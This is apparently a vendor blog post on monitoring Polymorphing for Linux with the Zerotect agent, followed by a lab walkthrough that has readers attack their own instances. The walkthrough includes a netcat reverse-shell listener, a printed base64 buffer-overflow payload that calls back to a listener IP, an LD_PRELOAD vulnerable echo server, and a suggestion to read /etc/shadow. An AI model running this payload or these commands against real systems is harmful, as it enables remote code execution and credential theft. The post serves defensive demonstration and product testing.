Polymorphing for Linux seamlessly integrates into Enterprise systems without the fanfare you come to expect from security products. With this simplicity, we frequently get asked, “How do I verify Polymorphing is really protecting me? Furthermore, how can I monitor, on an ongoing basis, attempted exploits it has defended me against?”
I’ll answer it in this short and to-the-point post as an immediate reference.
First and foremost, you should monitor for attempted exploits against your Polymorphed system by installing the Open Source Zerotect agent. Zerotect is a kernel log parser that converts plain-text free-form kernel logs (those you see by running ‘dmesg’) into structured logs so you can better perform analytics.
We believe in doing one thing well, and rather than giving you yet another half-baked monitoring dashboard, we suggest you send zerotect logs to the SIEM/monitoring/analytics tool of your choice. Zerotect will send parsed logs to almost any consumer you prefer, including syslog, a file or PagerDuty.
Please file issues, open a pull request or contact us if you want help with Zerotect or want it to do something it doesn’t do today.
Polymorphing is a systemic mitigation which means that it does not tell you what vulnerabilities it has discovered, what suspicions it has or alert you with “warnings”. Instead it simply mitigates a majority of exploits.
I’ll now demonstrate how you can validate for yourself what value Polymorphing adds to your system.
I’m going to draw a narrative of what an attacker usually does (based on the information about you they have) and what you are doing as a defender that thwarts them. I will then show you how you can run a simulated attack against yourself.
First, launch 3 hosts (Cloud VMs, Local VMs, Baremetal, Laptops, etc.) on a network that are reachable by you, and reachable to each other over a network. Ideally: 3 EC2 Instances with Public IPs, SSH port open from you to the instances, and all ports open across the instances. Use any Linux from the list of Polyverse supported distributions (Alpine, CentOS, Debian, Oracle Linux, Red Hat, SLES, Ubuntu).
Let’s call them Instances 1, 2 and 3. Configure them as follows.
Now we have all the requisite code to launch a simple vulnerable echo server.
These are the steps you use to launch an attack. Be sure to have Network Addresses of all instances available at hand. I’ll refer to IP addresses of instances as IP1, IP2, … corresponding to each instance.
On Instance 1, run a reverse-shell listener like so:
nc -l 5555
This is where an exploited victim machine will phone home and give you a reverse shell.
Now let’s construct an attack string. The easiest way to do it is to log into any of the Victim Instances, go to the built readhook directory and run:
This will produce output something like this:
[root@ip-10-0-1-140 readhook]# ./test.sh 10.0.1.90:5555 Running (testing) as an executable Base64 encoded payload: xyzzyOVERFLOWAAAAAAAAQioIAAAAAABCKhAAAAAAAEIqSCwCAAAATH4AAAAAAABTfvwfAgAAAEx+ABAAAAAAAACSGwAAAABMfgcAAAAAAAAAcI8PAAAATH5YAAAAAABCfmopWJlqAl9qAV4PBUiXSLkCABWzCgABWlFIieZqEFpqKlgPBWoDXkj/zmohWA8FdfZqO1iZSLsvYmluL3NoAFNIiedSV0iJ5g8FAAAAAAAA -------------------------------------------- pl_dst.p: 0x2a42000000000000 ("......B*") pl_canary.p: 0x2a42000000000008 ("......B*") pl_rbp.p: 0x2a42000000000010 ("......B*") pl_popRDI.p: 0x7e4c000000022c48 ("H,....L~") pl_stackPage.p: 0x7e53000000000000 ("......S~") pl_popRSI.p: 0x7e4c000000021ffc ("......L~") pl_stackSize: 0x0000000000001000 ("........") pl_popRDX.p: 0x7e4c000000001b92 ("......L~") pl_permission.p: 0x0000000000000007 ("........") pl_mprotect.p: 0x7e4c0000000f8f70 ("p.....L~") pl_shellCode.p: 0x7e42000000000058 ("X.....B~") -------------------------------------------- scp->port: 5555 scp->ipAddress: 10.0.1.90 -------------------------------------------- -------------------------------------------- pl_dst.p: 0x0020524554534145 ("EASTER .") pl_canary.p: (nil) ("........") pl_rbp.p: 0x00007ffc21d4ce30 ("0..!....") pl_popRDI.p: 0x00007eff4d543c48 ("H<TM.~..") pl_stackPage.p: 0x00007ffc21d4c000 ("...!....") pl_popRSI.p: 0x00007eff4d542ffc ("./TM.~..") pl_stackSize: 0x0000000000001000 ("........") pl_popRDX.p: 0x00007eff4d522b92 (".+RM.~..") pl_permission.p: 0x0000000000000007 ("........") pl_mprotect.p: 0x00007eff4d619f70 ("p.aM.~..") pl_shellCode.p: 0x00007ffc21d4c978 ("x..!....") -------------------------------------------- scp->port: 5555 scp->ipAddress: 10.0.1.90 --------------------------------------------
See that bolded string?
That is our attack string. Simply posting that string to a vulnerable listener will overflow the buffer, and open a reverse shell to IP1:5555 (which has a listener waiting for it, from above).
NOTE: YOUR attack string will be different than this. What I have pasted here is an example.
Now go to any of the vulnerable Instances 2, 3 etc., and start a vulnerable echo server like so (be sure to adjust the path to the built readhook directory):
LD_PRELOAD="$PWD/readhook/dll/fullhook.so $PWD/readhook/dll/basehook.so" nc -l -p 8080 -e /bin/cat
At this point conducting the attack is trivial. Open a second terminal into Instance 1 and connect to your victim echo server like so:
nc IP2 8080
You can type in some strings and they’ll be echoed back to you. At some point just paste the attack string you obtained above. Nothing will happen. It won’t get echoed. However, if you switch to the reverse-shell listener from the very first step, and if you type in any commands, they will be executed on the victim host. You can read the /etc/shadow file if you want.
What we just did, is very easily use a real buffer-overflow exploit to conduct a Remote Code Execution (RCE) exploit. That’s how easy it is for an attacker.
But wait, there’s more…
Remember all those other victim instances you launched? Do the steps above on all the instances *except* generating an exploit string. Use the same exploit string from Instance 2 on any number of them. Yes they have ASLR. Yes they have systemic differences. Within a single distribution of Linux, the exact same attack string will work on all of them.
What am I implying here?
Remember that sudo bug from January? If the world had thousands of instances of ONE distribution, such as Ubuntu or Red Hat or CentOS or Oracle Linux or Amazon Linux or whatever, an attacker needs only ONE attack string for each distribution that can exploit every single instance of that distribution.Yes, even with ASLR and KARL and what not.
Don’t take my word for it. You watched it happen. Heck you performed that exploit yourself above!
Secondly, this exploit is open sourced and publicly well-known. A very relevant experiment to perform would be running all the security tools in your toolbox to see which ones catch it, mitigate it or flag it. IDS/IPS, Firewalls, Anti-malware, vulnerability scanners, etc. Use it all. See what works.
You probably guessed the punchline already, but at the risk of redundancy I’ll say it: Now install Polymorphing (subscribe to a repository and install Polymorphic packages) on any or all of the instances. Try that exploit string and see if it works.
Remember that you’re still running the same distribution of the same Linux. Same configurations, same compatibility, same source code, same features, same performance, same everything.
That being said, let me state Polymorphing is NOT Un-Hackable. For full disclosure, if you constructed an attack string on any ONE Polymorphing builds, that exploit will work on all instances of that Polymorphing build. In order to construct an attack string against any one distribution of Linux, you must first have access to an instance of it. Your Polymorphing build(s) are strictly confidential to you and you alone therefore constructing an attack against them is impossible beforehand.
However, the defense is as obvious as it is simple: Use an alternate build and attempt the exploit. It will fail.
I hope this post helped you demonstrate Polymorphing and its power to youself, and your peers. Let me know what you think, if something didn’t work for you, or you need us to help you set up this demo.